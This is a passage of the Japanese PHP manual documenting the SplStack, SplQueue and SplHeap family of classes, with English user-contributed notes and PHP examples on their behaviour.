            $val1 = $this->splstack->pop();
            $val2 = $this->splstack->pop();
            $val = $val1 + $val2;
            $this->splstack->push($val);
            $this->calculateSomme();
        }
    }

    /**
     *
     * @return integer
     */
    public function displaySomme()
    {
        $result = $this->splstack->pop();
        return $result;
    }

}

$splstack = new \SplStack();

$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);
$splstack->push(10);

$stack = new Stack($splstack);
$stack->calculateSomme();
die(var_dump($stack->displaySomme())); // 150
?>
source : https://github.com/lsroudi/OOPWithSPL/blob/master/Stack/Stack.php
lsroudi at gmail dot com 19-Jan-2014 12:03
the SplStack is  simply a SplDoublyLinkedList with  an iteration mode IT_MODE_LIFO and IT_MODE_KEEP
Sandro Alves Peres 12-Jun-2013 12:04
<?php
# Think of the stack as an array reversed, where the last element has index zero

$stack = new SplStack();
$stack->push('a');
$stack->push('b');
$stack->push('c');

$stack->offsetSet(0, 'C'); # the last element has index zero

$stack->rewind();

while( $stack->valid() )
{
    echo $stack->current(), PHP_EOL;
    $stack->next();
}

/*

OUTPUT
****************************

C
b
a

*/
?>


双方向リンクリストを使用して実装した新しい空のスタックを作成する

  • ≪ SplStack
  • SplStack::setIteratorMode ≫
  • PHP Manual
  • SplStack
  • 双方向リンクリストを使用して実装した新しい空のスタックを作成する

SplStack::__construct

(PHP 5 >= 5.3.0, PHP 7)

SplStack::__construct — 双方向リンクリストを使用して実装した新しい空のスタックを作成する

説明

public SplStack::__construct ( )

これは、新しい空のスタックを作成します。

注意:

このメソッドは、イテレータのモードを自動的に SplDoublyLinkedList::IT_MODE_LIFO とします。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 SplStack::__construct() の例

<?php
$q = new SplStack();

$q[] = 1;
$q[] = 2;
$q[] = 3;

foreach ($q as $elem)  {
 echo $elem."\n";
}
?>

上の例の出力は以下となります。

3
2
1

User Contributed Notes

There are no user contributed notes for this page.


反復処理のモードを設定する

  • ≪ SplStack::__construct
  • SplQueue ≫
  • PHP Manual
  • SplStack
  • 反復処理のモードを設定する

SplStack::setIteratorMode

(PHP 5 >= 5.3.0, PHP 7)

SplStack::setIteratorMode — 反復処理のモードを設定する

説明

public SplStack::setIteratorMode ( int $mode ) : void

パラメータ

mode

変更可能な反復処理のパラメータはひとつだけです。

  • イテレータの振る舞い (いずれかを選択)
    • SplDoublyLinkedList::IT_MODE_DELETE (イテレータが要素を削除する)
    • SplDoublyLinkedList::IT_MODE_KEEP (イテレータが要素を順にたどる)

デフォルトのモードは 0x2 : SplDoublyLinkedList::IT_MODE_LIFO | SplDoublyLnkedList::IT_MODE_KEEP です。

警告

反復処理の方向は SplStack では変更できません。 変更しようとすると RuntimeException がスローされます。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


SplQueue クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

SplQueue クラスは、キューの主要な機能を提供します。 双方向リンクリストを使用して実装しています。

クラス概要

SplQueue extends SplDoublyLinkedList implements Iterator , ArrayAccess , Countable {
/* メソッド */
public __construct ( )
public dequeue ( ) : mixed
public enqueue ( mixed $value ) : void
public setIteratorMode ( int $mode ) : void
/* 継承したメソッド */
public SplDoublyLinkedList::add ( mixed $index , mixed $newval ) : void
public SplDoublyLinkedList::bottom ( ) : mixed
public SplDoublyLinkedList::count ( ) : int
public SplDoublyLinkedList::current ( ) : mixed
public SplDoublyLinkedList::getIteratorMode ( ) : int
public SplDoublyLinkedList::isEmpty ( ) : bool
public SplDoublyLinkedList::key ( ) : mixed
public SplDoublyLinkedList::next ( ) : void
public SplDoublyLinkedList::offsetExists ( mixed $index ) : bool
public SplDoublyLinkedList::offsetGet ( mixed $index ) : mixed
public SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval ) : void
public SplDoublyLinkedList::offsetUnset ( mixed $index ) : void
public SplDoublyLinkedList::pop ( ) : mixed
public SplDoublyLinkedList::prev ( ) : void
public SplDoublyLinkedList::push ( mixed $value ) : void
public SplDoublyLinkedList::rewind ( ) : void
public SplDoublyLinkedList::serialize ( ) : string
public SplDoublyLinkedList::setIteratorMode ( int $mode ) : void
public SplDoublyLinkedList::shift ( ) : mixed
public SplDoublyLinkedList::top ( ) : mixed
public SplDoublyLinkedList::unserialize ( string $serialized ) : void
public SplDoublyLinkedList::unshift ( mixed $value ) : void
public SplDoublyLinkedList::valid ( ) : bool
}

目次

  • SplQueue::__construct — 双方向リンクリストを使用して実装した新しい空のキューを作成する
  • SplQueue::dequeue — キューからノードを取り出す
  • SplQueue::enqueue — 要素をキューに追加する
  • SplQueue::setIteratorMode — 反復処理のモードを設定する

User Contributed Notes

mostefa dot medjahed dot pro at gmail dot com 01-Mar-2021 07:13
As was said before, the push () and pop () methods on a SplQueue object, its behave like a stack rather than a queue.

Knowing that the enqueue () and dequeue () methods are respectively aliases of push () and shift () methods, we can also use SplQueue :: push () and SplQueue :: shift () for the same purpose as SplQueue :: enqueue and SplQueue :: dequeue.
lincoln dot du dot j at gmail dot com 12-Jul-2017 07:07
<?php

$queue = new SplQueue();
$queue->enqueue('A');
$queue->enqueue('B');
$queue->enqueue('C');

$queue->rewind();
while($queue->valid()){
    echo $queue->current(),"\n";
    $queue->next();
}

print_r($queue);
$queue->dequeue(); //remove first one
print_r($queue);

?>
Output

A
B
C
SplQueue Object
(
    [flags:SplDoublyLinkedList:private] => 4
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => A
            [1] => B
            [2] => C
        )

)
SplQueue Object
(
    [flags:SplDoublyLinkedList:private] => 4
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => B
            [1] => C
        )

)
Stingus 23-Sep-2016 10:16
Take care that SplQueue::valid() is not returning true if the queue has nodes. Use isEmpty() instead:

$queue = new SplQueue();
$queue->enqueue('A');
$queue->enqueue('B');
$queue->enqueue('C');
var_dump($queue->valid()); // false
var_dump(!$queue->isEmpty()); // true
MrStonedOne 31-Dec-2014 04:49
You can use shift/unshift and push/pop to dequeue/undequeue and queue/unqueue respectively. Really handy for those applications that use sockets where you might not know you can't send data until you attempt to.

for example, this is a function for an application that will un-dequeue the remainder of the data if socket_write indicated it did not write the entire contents of the provided data.

<?php
function processSendQueue($socket, $sendQueue) {
    while (!$sendQueue->isEmpty()) {
                            //shift() is the same as dequeue()
        $senditem = $sendQueue->shift();

        //returns the number of bytes written.
        $rtn = socket_write($socket, $senditem);
        if ($rtn === false) {
            $sendQueue->unshift($senditem);
            throw new exception("send error: " . socket_last_error($socket));
            return;
        }
        if ($rtn < strlen($senditem) {
            $sendQueue->unshift(substr($senditem, $rtn);
            break;
        }
    }
}
?>
Manu Manjunath 10-Feb-2014 10:56
SplQueue inherits from SplDoublyLinkedList. So, objects of SplQueue support methods push() and pop(). But please be advised that if you use push() and pop() methods on a SplQueue object, it behaves like a stack rather than a queue.

For example:

$q = new SplQueue();
$q->push(1);
$q->push(2);
$q->push(3);
$q->pop();
print_r($q);

Above code returns:

SplQueue Object
(
    [flags:SplDoublyLinkedList:private] => 4
    [dllist:SplDoublyLinkedList:private] => Array
        (
            [0] => 1
            [1] => 2
        )
)

Note that 3 got popped and *not* 1.

So, please make sure that you use only enqueue() and dequeue() methods on a SplQueue object and *not* push() and pop().


双方向リンクリストを使用して実装した新しい空のキューを作成する

  • ≪ SplQueue
  • SplQueue::dequeue ≫
  • PHP Manual
  • SplQueue
  • 双方向リンクリストを使用して実装した新しい空のキューを作成する

SplQueue::__construct

(PHP 5 >= 5.3.0, PHP 7)

SplQueue::__construct — 双方向リンクリストを使用して実装した新しい空のキューを作成する

説明

public SplQueue::__construct ( )

これは、新しい空のキューを作成します。

注意:

このメソッドは、イテレータのモードを自動的に SplDoublyLinkedList::IT_MODE_FIFO とします。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 SplQueue::__construct() の例

<?php
$q = new SplQueue();

$q[] = 1;
$q[] = 2;
$q[] = 3;

foreach ($q as $elem)  {
 echo $elem."\n";
}
?>

上の例の出力は以下となります。

1
2
3

例2 SplQueue による効率的なタスクの処理

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

// ... タスクをキューに放り込みます ...

// それを処理します
foreach ($q as $task) {
    // ... $task の処理 ...

    // 新たなタスクをキューに追加します
    $q[] = $newTask;
    // ...
}
?>

User Contributed Notes

There are no user contributed notes for this page.


キューからノードを取り出す

  • ≪ SplQueue::__construct
  • SplQueue::enqueue ≫
  • PHP Manual
  • SplQueue
  • キューからノードを取り出す

SplQueue::dequeue

(PHP 5 >= 5.3.0, PHP 7)

SplQueue::dequeue — キューからノードを取り出す

説明

public SplQueue::dequeue ( ) : mixed

value をキューの先頭から取り出します。

注意:

SplQueue::dequeue() は SplDoublyLinkedList::shift() のエイリアスです。

パラメータ

この関数にはパラメータはありません。

返り値

キューから取り出したノードの値を返します。

User Contributed Notes

mark at bull-roarer dot com 06-Jul-2013 03:31
I just thought this was a fun and interesting way for lining up method calls and then calling them back-to-back. Might be useful as a basis for a transactional execution class or something.

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

$q->enqueue(array("FooBar", "foo"));
$q->enqueue(array("FooBar", "bar"));
$q->enqueue(array("FooBar", "msg", "Hi there!"));

foreach ($q as $task) {
  if (count($task) > 2) {
    list($class, $method, $args) = $task;
    $class::$method($args);
  } else {
    list($class, $method) = $task;
    $class::$method();
  }
}

class FooBar {
  public static function foo() {
    echo "FooBar::foo() called.\n";
  }
  public static function bar() {
    echo "FooBar::bar() called.\n";
  }
  public static function msg($msg) {
    echo "$msg\n";
  }
}
?>

Results:
FooBar::foo() called.
FooBar::bar() called.
Hi there!
mark at bull-roarer dot com 06-Jul-2013 03:30
I just thought this was a fun and interesting way for lining up method calls and then calling them back-to-back. Might be useful as a basis for a transactional execution class or something.

<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);

$q->enqueue(array("FooBar", "foo"));
$q->enqueue(array("FooBar", "bar"));
$q->enqueue(array("FooBar", "msg", "Hi there!"));

foreach ($q as $task) {
  if (count($task) > 2) {
    list($class, $method, $args) = $task;
    $class::$method($args);
  } else {
    list($class, $method) = $task;
    $class::$method();
  }
}

class FooBar {
  public static function foo() {
    echo "FooBar::foo() called.\n";
  }
  public static function bar() {
    echo "FooBar::bar() called.\n";
  }
  public static function msg($msg) {
    echo "$msg\n";
  }
}
?>

Results:
FooBar::foo() called.
FooBar::bar() called.
Hi there!
andresdzphp at php dot net 30-Sep-2011 11:10
<?php
$q = new SplQueue();
$q->setIteratorMode(SplQueue::IT_MODE_DELETE);
$q->enqueue('item 1');
$q->enqueue('item 2');
$q->enqueue('item 3');

$q->dequeue();
$q->dequeue();

foreach ($q as $item) {
    echo $item;
}

//Result: item 3

$q->dequeue(); //Fatal error: Uncaught exception 'RuntimeException'
              //with message 'Can't shift from an empty datastructure'
?>
xuecan at gmail dot com 20-Jan-2010 08:57
If the queue is empty, dequeue() will raise an 'RuntimeException' with message 'Can't shift from an empty datastructure'.


要素をキューに追加する

  • ≪ SplQueue::dequeue
  • SplQueue::setIteratorMode ≫
  • PHP Manual
  • SplQueue
  • 要素をキューに追加する

SplQueue::enqueue

(PHP 5 >= 5.3.0, PHP 7)

SplQueue::enqueue — 要素をキューに追加する

説明

public SplQueue::enqueue ( mixed $value ) : void

value をキューの末尾に追加します。

注意:

SplQueue::enqueue() は SplDoublyLinkedList::push() のエイリアスです。

パラメータ

value

キューに追加する値。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


反復処理のモードを設定する

  • ≪ SplQueue::enqueue
  • SplHeap ≫
  • PHP Manual
  • SplQueue
  • 反復処理のモードを設定する

SplQueue::setIteratorMode

(PHP 5 >= 5.3.0, PHP 7)

SplQueue::setIteratorMode — 反復処理のモードを設定する

説明

public SplQueue::setIteratorMode ( int $mode ) : void

パラメータ

mode

変更可能な反復処理のパラメータはひとつだけです。

  • イテレータの振る舞い (いずれかを選択)
    • SplDoublyLinkedList::IT_MODE_DELETE (イテレータが要素を削除する)
    • SplDoublyLinkedList::IT_MODE_KEEP (イテレータが要素を順にたどる)

デフォルトのモードは SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_KEEP です。

警告

反復処理の方向は SplQueue では変更できません。 常に SplDoublyLinkedList::IT_MODE_FIFO です。

返り値

値を返しません。

エラー / 例外

SplDoublyLinkedList::IT_MODE_LIFO を使用して反復処理の方向を変更しようとすると RuntimeException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


SplHeap クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

SplHeap クラスは、ヒープの主要な機能を提供します。

クラス概要

abstract SplHeap implements Iterator , Countable {
/* メソッド */
public __construct ( )
abstract protected compare ( mixed $value1 , mixed $value2 ) : int
public count ( ) : int
public current ( ) : mixed
public extract ( ) : mixed
public insert ( mixed $value ) : void
public isCorrupted ( ) : bool
public isEmpty ( ) : bool
public key ( ) : mixed
public next ( ) : void
public recoverFromCorruption ( ) : void
public rewind ( ) : void
public top ( ) : mixed
public valid ( ) : bool
}

目次

  • SplHeap::compare — 要素を比較し、ヒープ内の適切な位置に置く
  • SplHeap::__construct — 新しい空のヒープを作成する
  • SplHeap::count — ヒープ内の要素数を数える
  • SplHeap::current — イテレータが指す現在のノードを返す
  • SplHeap::extract — ヒープの先頭からノードを取り出す
  • SplHeap::insert — ヒープに要素を挿入する
  • SplHeap::isCorrupted — ヒープが壊れているかを調べる
  • SplHeap::isEmpty — ヒープが空かどうかを調べる
  • SplHeap::key — 現在のノードのインデックスを返す
  • SplHeap::next — 次のノードに移動する
  • SplHeap::recoverFromCorruption — 破壊されたヒープを復旧し、それ以降の操作をできるようにする
  • SplHeap::rewind — イテレータを先頭に巻き戻す (何もしない)
  • SplHeap::top — ヒープの先頭のノードを取り出す
  • SplHeap::valid — ヒープにまだノードがあるかどうかを調べる

User Contributed Notes

Anthony 08-Jun-2016 12:15
If you wish to build a true tree based heap, you can do so as follows (implemented with SplMinHeap, but could be SplMaxHeap if you wish for the opposite order of items):

The stucture that we're trying to represent:

         1
         |
+-----+--+--+-----+
|     |     |     |
2     3     4     5
|     |           |
+   +-+-+         +
|   |   |         |
7   6   8         9
                  |
                +-+-+
                |   |
               10   11

<?php
$h = new SplMinHeap();

// [parent, child]
$h->insert([9, 11]);
$h->insert([0, 1]);
$h->insert([1, 2]);
$h->insert([1, 3]);
$h->insert([1, 4]);
$h->insert([1, 5]);
$h->insert([3, 6]);
$h->insert([2, 7]);
$h->insert([3, 8]);
$h->insert([5, 9]);
$h->insert([9, 10]);

for ($h->top(); $h->valid(); $h->next()) {
    list($parentId, $myId) = $h->current();
    echo "$myId ($parentId)\n";
}
?>

As you iterate over the heap, the return data will be read as if you're reading a book; ie left to right, top to bottom. It will NOT follow the relationships.

So, the above code will output the following:

1 (0)
2 (1)
3 (1)
4 (1)
5 (1)
7 (2)
6 (3)
8 (3)
9 (5)
10 (9)
11 (9)
igorsantos07 at gmail dot com 26-Jun-2014 01:02
While Michelangelo Van Dam example (http://br2.php.net/manual/en/class.splheap.php#93930) is a great demonstration of what can be done with SplHeap, this implementation is exactly what SplPriorityQueue does - based on SplMaxHeap. If you're planning to copy that snippet, go no further! There's a SPL class that does exactly what you want :)
Michelangelo van Dam 06-Oct-2009 11:44
To have a good idea what you can do with SplHeap, I created a little example script that will show the rankings of Belgian soccer teams in the Jupiler League.

<?php
/**
 * A class that extends SplHeap for showing rankings in the Belgian
 * soccer tournament JupilerLeague
 */
class JupilerLeague extends SplHeap
{
    /**
     * We modify the abstract method compare so we can sort our
     * rankings using the values of a given array
     */
    public function compare($array1, $array2)
    {
        $values1 = array_values($array1);
        $values2 = array_values($array2);
        if ($values1[0] === $values2[0]) return 0;
        return $values1[0] < $values2[0] ? -1 : 1;
    }
}

// Let's populate our heap here (data of 2009)
$heap = new JupilerLeague();
$heap->insert(array ('AA Gent' => 15));
$heap->insert(array ('Anderlecht' => 20));
$heap->insert(array ('Cercle Brugge' => 11));
$heap->insert(array ('Charleroi' => 12));
$heap->insert(array ('Club Brugge' => 21));
$heap->insert(array ('G. Beerschot' => 15));
$heap->insert(array ('Kortrijk' => 10));
$heap->insert(array ('KV Mechelen' => 18));
$heap->insert(array ('Lokeren' => 10));
$heap->insert(array ('Moeskroen' => 7));
$heap->insert(array ('Racing Genk' => 11));
$heap->insert(array ('Roeselare' => 6));
$heap->insert(array ('Standard' => 20));
$heap->insert(array ('STVV' => 17));
$heap->insert(array ('Westerlo' => 10));
$heap->insert(array ('Zulte Waregem' => 15));

// For displaying the ranking we move up to the first node
$heap->top();

// Then we iterate through each node for displaying the result
while ($heap->valid()) {
  list ($team, $score) = each ($heap->current());
  echo $team . ': ' . $score . PHP_EOL;
  $heap->next();
}
?>

This results in the following output:
Club Brugge: 21
Anderlecht: 20
Standard: 20
KV Mechelen: 18
STVV: 17
Zulte Waregem: 15
AA Gent: 15
G. Beerschot: 15
Charleroi: 12
Racing Genk: 11
Cercle Brugge: 11
Kortrijk: 10
Lokeren: 10
Westerlo: 10
Moeskroen: 7
Roeselare: 6

Hope this example paved the way for more complex implementations of SplHeap.


要素を比較し、ヒープ内の適切な位置に置く

  • ≪ SplHeap
  • SplHeap::__construct ≫
  • PHP Manual
  • SplHeap
  • 要素を比較し、ヒープ内の適切な位置に置く

SplHeap::compare

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::compare — 要素を比較し、ヒープ内の適切な位置に置く

説明

abstract protected SplHeap::compare ( mixed $value1 , mixed $value2 ) : int

value1 と value2 を比較します。

警告

SplHeap::compare() 内で例外がスローされると、ヒープが壊れてしまいブロックされた状態になることがあります。 SplHeap::recoverFromCorruption() をコールすればブロック状態を解除することができます。 しかし、適切な場所に配置されていない要素が出てくることもあり、 ヒープの性質が失われてしまいます。

パラメータ

value1

比較したい最初のノード。

value2

比較したい 2 番目のノード。

返り値

比較結果を返します。value1 が value2 より大きい場合は正の整数値、等しい場合は 0、 小さい場合は負の整数値となります。

注意:

同一の値を持つ複数の要素をヒープ内に保持することはおすすめしません。 そうすると、ヒープ内の相対位置がはっきりしなくなってしまいます。

User Contributed Notes

There are no user contributed notes for this page.


新しい空のヒープを作成する

  • ≪ SplHeap::compare
  • SplHeap::count ≫
  • PHP Manual
  • SplHeap
  • 新しい空のヒープを作成する

SplHeap::__construct

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::__construct — 新しい空のヒープを作成する

説明

public SplHeap::__construct ( )

新しい空のヒープを作成します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


ヒープ内の要素数を数える

  • ≪ SplHeap::__construct
  • SplHeap::current ≫
  • PHP Manual
  • SplHeap
  • ヒープ内の要素数を数える

SplHeap::count

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::count — ヒープ内の要素数を数える

説明

public SplHeap::count ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

ヒープ内の要素数を返します。

User Contributed Notes

There are no user contributed notes for this page.


イテレータが指す現在のノードを返す

  • ≪ SplHeap::count
  • SplHeap::extract ≫
  • PHP Manual
  • SplHeap
  • イテレータが指す現在のノードを返す

SplHeap::current

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::current — イテレータが指す現在のノードを返す

説明

public SplHeap::current ( ) : mixed

現在のノードを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のノードの値を返します。

User Contributed Notes

There are no user contributed notes for this page.


ヒープの先頭からノードを取り出す

  • ≪ SplHeap::current
  • SplHeap::insert ≫
  • PHP Manual
  • SplHeap
  • ヒープの先頭からノードを取り出す

SplHeap::extract

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::extract — ヒープの先頭からノードを取り出す

説明

public SplHeap::extract ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

取り出したノードの値を返します。

エラー / 例外

データが空のときは RuntimeException をスローします。

User Contributed Notes

Sandro Alves Peres 12-Jun-2013 01:06
<?php
$heap = new SplMaxHeap(); # Ascending order
$heap->insert('E');
$heap->insert('B');
$heap->insert('D');
$heap->insert('A');
$heap->insert('C');

echo $heap->extract(), PHP_EOL; # E
echo $heap->extract(), PHP_EOL; # D

$heap = new SplMinHeap(); # Descending order
$heap->insert('E');
$heap->insert('B');
$heap->insert('D');
$heap->insert('A');
$heap->insert('C');

print PHP_EOL;
echo $heap->extract(), PHP_EOL; # A
echo $heap->extract(), PHP_EOL; # B
?>


ヒープに要素を挿入する

  • ≪ SplHeap::extract
  • SplHeap::isCorrupted ≫
  • PHP Manual
  • SplHeap
  • ヒープに要素を挿入する

SplHeap::insert

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::insert — ヒープに要素を挿入する

説明

public SplHeap::insert ( mixed $value ) : void

value をヒープに挿入します。

パラメータ

value

挿入する値。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


ヒープが壊れているかを調べる

  • ≪ SplHeap::insert
  • SplHeap::isEmpty ≫
  • PHP Manual
  • SplHeap
  • ヒープが壊れているかを調べる

SplHeap::isCorrupted

(PHP 7)

SplHeap::isCorrupted — ヒープが壊れているかを調べる

説明

public SplHeap::isCorrupted ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

ヒープが壊れていたら true を、そうでなければ false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ヒープが空かどうかを調べる

  • ≪ SplHeap::isCorrupted
  • SplHeap::key ≫
  • PHP Manual
  • SplHeap
  • ヒープが空かどうかを調べる

SplHeap::isEmpty

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::isEmpty — ヒープが空かどうかを調べる

説明

public SplHeap::isEmpty ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

ヒープが空かどうかを返します。

User Contributed Notes

There are no user contributed notes for this page.


現在のノードのインデックスを返す

  • ≪ SplHeap::isEmpty
  • SplHeap::next ≫
  • PHP Manual
  • SplHeap
  • 現在のノードのインデックスを返す

SplHeap::key

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::key — 現在のノードのインデックスを返す

説明

public SplHeap::key ( ) : mixed

この関数は、現在のノードのインデックスを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のノードのインデックスを返します。

User Contributed Notes

There are no user contributed notes for this page.


次のノードに移動する

  • ≪ SplHeap::key
  • SplHeap::recoverFromCorruption ≫
  • PHP Manual
  • SplHeap
  • 次のノードに移動する

SplHeap::next

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::next — 次のノードに移動する

説明

public SplHeap::next ( ) : void

次のノードに移動します。これは、ヒープの先頭のノードを削除します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


破壊されたヒープを復旧し、それ以降の操作をできるようにする

  • ≪ SplHeap::next
  • SplHeap::rewind ≫
  • PHP Manual
  • SplHeap
  • 破壊されたヒープを復旧し、それ以降の操作をできるようにする

SplHeap::recoverFromCorruption

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::recoverFromCorruption — 破壊されたヒープを復旧し、それ以降の操作をできるようにする

説明

public SplHeap::recoverFromCorruption ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


イテレータを先頭に巻き戻す (何もしない)

  • ≪ SplHeap::recoverFromCorruption
  • SplHeap::top ≫
  • PHP Manual
  • SplHeap
  • イテレータを先頭に巻き戻す (何もしない)

SplHeap::rewind

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::rewind — イテレータを先頭に巻き戻す (何もしない)

説明

public SplHeap::rewind ( ) : void

これは、イテレータを先頭に巻き戻します。ヒープの場合は何もしません。 というのもイテレータは仮想的なものであり、 実際はヒープの先頭から動くことがないからです。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


ヒープの先頭のノードを取り出す

  • ≪ SplHeap::rewind
  • SplHeap::valid ≫
  • PHP Manual
  • SplHeap
  • ヒープの先頭のノードを取り出す

SplHeap::top

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::top — ヒープの先頭のノードを取り出す

説明

public SplHeap::top ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

先頭のノードの値を返します。

エラー / 例外

データが空のときは RuntimeException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ヒープにまだノードがあるかどうかを調べる

  • ≪ SplHeap::top
  • SplMaxHeap ≫
  • PHP Manual
  • SplHeap
  • ヒープにまだノードがあるかどうかを調べる

SplHeap::valid

(PHP 5 >= 5.3.0, PHP 7)

SplHeap::valid — ヒープにまだノードがあるかどうかを調べる

説明

public SplHeap::valid ( ) : bool

ヒープにまだノードがあるかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

ヒープにまだノードが含まれる場合に true、 そうでない場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


SplMaxHeap クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

SplMaxHeap クラスは、ヒープの主要な機能を提供し、最大値を先頭に保ちます。

クラス概要

SplMaxHeap extends SplHeap implements Iterator , Countable {
/* メソッド */
protected compare ( mixed $value1 , mixed $value2 ) : int
/* 継承したメソッド */
abstract protected SplHeap::compare ( mixed $value1 , mixed $value2 ) : int
public SplHeap::count ( ) : int
public SplHeap::current ( ) : mixed
public SplHeap::extract ( ) : mixed
public SplHeap::insert ( mixed $value ) : void
public SplHeap::isCorrupted ( ) : bool
public SplHeap::isEmpty ( ) : bool
public SplHeap::key ( ) : mixed
public SplHeap::next ( ) : void
public SplHeap::recoverFromCorruption ( ) : void
public SplHeap::rewind ( ) : void
public SplHeap::top ( ) : mixed
public SplHeap::valid ( ) : bool
}

目次

  • SplMaxHeap::compare — 要素を比較し、ヒープ内の適切な位置に置く

User Contributed Notes

MuLoT [ojousset49 at yahoo dot fr] 17-Dec-2010 05:50
SplMaxHeap simple example with integer values...

&lt;?php
class MySimpleHeap extends SplHeap
{
    public function  compare( $value1, $value2 ) {
        return ( $value1 - $value2 );
    }
}

$obj = new MySimpleHeap();
$obj-&gt;insert( 4 );
$obj-&gt;insert( 8 );
$obj-&gt;insert( 1 );
$obj-&gt;insert( 0 );

foreach( $obj as $number ) {
    echo $number.\&quot;\\n\&quot;;
}

/*
    Output display :
    8
    4
    1
    0
*/
?&gt;


要素を比較し、ヒープ内の適切な位置に置く

  • ≪ SplMaxHeap
  • SplMinHeap ≫
  • PHP Manual
  • SplMaxHeap
  • 要素を比較し、ヒープ内の適切な位置に置く

SplMaxHeap::compare

(PHP 5 >= 5.3.0, PHP 7)

SplMaxHeap::compare — 要素を比較し、ヒープ内の適切な位置に置く

説明

protected SplMaxHeap::compare ( mixed $value1 , mixed $value2 ) : int

value1 と value2 を比較します。

パラメータ

value1

比較したい最初のノード。

value2

比較したい 2 番目のノード。

返り値

比較結果を返します。value1 が value2 より大きい場合は正の整数値、等しい場合は 0、 小さい場合は負の整数値となります。

注意:

同一の値を持つ複数の要素をヒープ内に保持することはおすすめしません。 そうすると、ヒープ内の相対位置がはっきりしなくなってしまいます。

User Contributed Notes

sixd at php dot net 21-Dec-2010 12:26
Note the definition of SplMaxHeap::compare() is different from SplMinHeap::compare()


SplMinHeap クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

SplMinHeap クラスは、ヒープの主要な機能を提供し、最小値を先頭に保ちます。

クラス概要

SplMinHeap extends SplHeap implements Iterator , Countable {
/* メソッド */
protected compare ( mixed $value1 , mixed $value2 ) : int
/* 継承したメソッド */
abstract protected SplHeap::compare ( mixed $value1 , mixed $value2 ) : int
public SplHeap::count ( ) : int
public SplHeap::current ( ) : mixed
public SplHeap::extract ( ) : mixed
public SplHeap::insert ( mixed $value ) : void
public SplHeap::isCorrupted ( ) : bool
public SplHeap::isEmpty ( ) : bool
public SplHeap::key ( ) : mixed
public SplHeap::next ( ) : void
public SplHeap::recoverFromCorruption ( ) : void
public SplHeap::rewind ( ) : void
public SplHeap::top ( ) : mixed
public SplHeap::valid ( ) : bool
}

目次

  • SplMinHeap::compare — 要素を比較し、ヒープ内の適切な位置に置く

User Contributed Notes

gom 27-Jan-2020 07:12
I experimented what happens when arrays are inserted:

<?php
$heap = new SplMinHeap();
$heap->insert([22,333]);
$heap->insert([2,33]);
$heap->insert([222,3]);

var_export($heap->extract());
echo '<br>';
var_export($heap->extract());
echo '<br>';
var_export($heap->extract());
?>

Output:

array ( 0 => 2, 1 => 33, )
array ( 0 => 22, 1 => 333, )
array ( 0 => 222, 1 => 3, )


要素を比較し、ヒープ内の適切な位置に置く

  • ≪ SplMinHeap
  • SplPriorityQueue ≫
  • PHP Manual
  • SplMinHeap
  • 要素を比較し、ヒープ内の適切な位置に置く

SplMinHeap::compare

(PHP 5 >= 5.3.0, PHP 7)

SplMinHeap::compare — 要素を比較し、ヒープ内の適切な位置に置く

説明

protected SplMinHeap::compare ( mixed $value1 , mixed $value2 ) : int

value1 と value2 を比較します。

パラメータ

value1

比較したい最初のノード。

value2

比較したい 2 番目のノード。

返り値

比較結果を返します。value1 が value2 より大きい場合は正の整数値、等しい場合は 0、 小さい場合は負の整数値となります。

注意:

同一の値を持つ複数の要素をヒープ内に保持することはおすすめしません。 そうすると、ヒープ内の相対位置がはっきりしなくなってしまいます。

User Contributed Notes

There are no user contributed notes for this page.


SplPriorityQueue クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

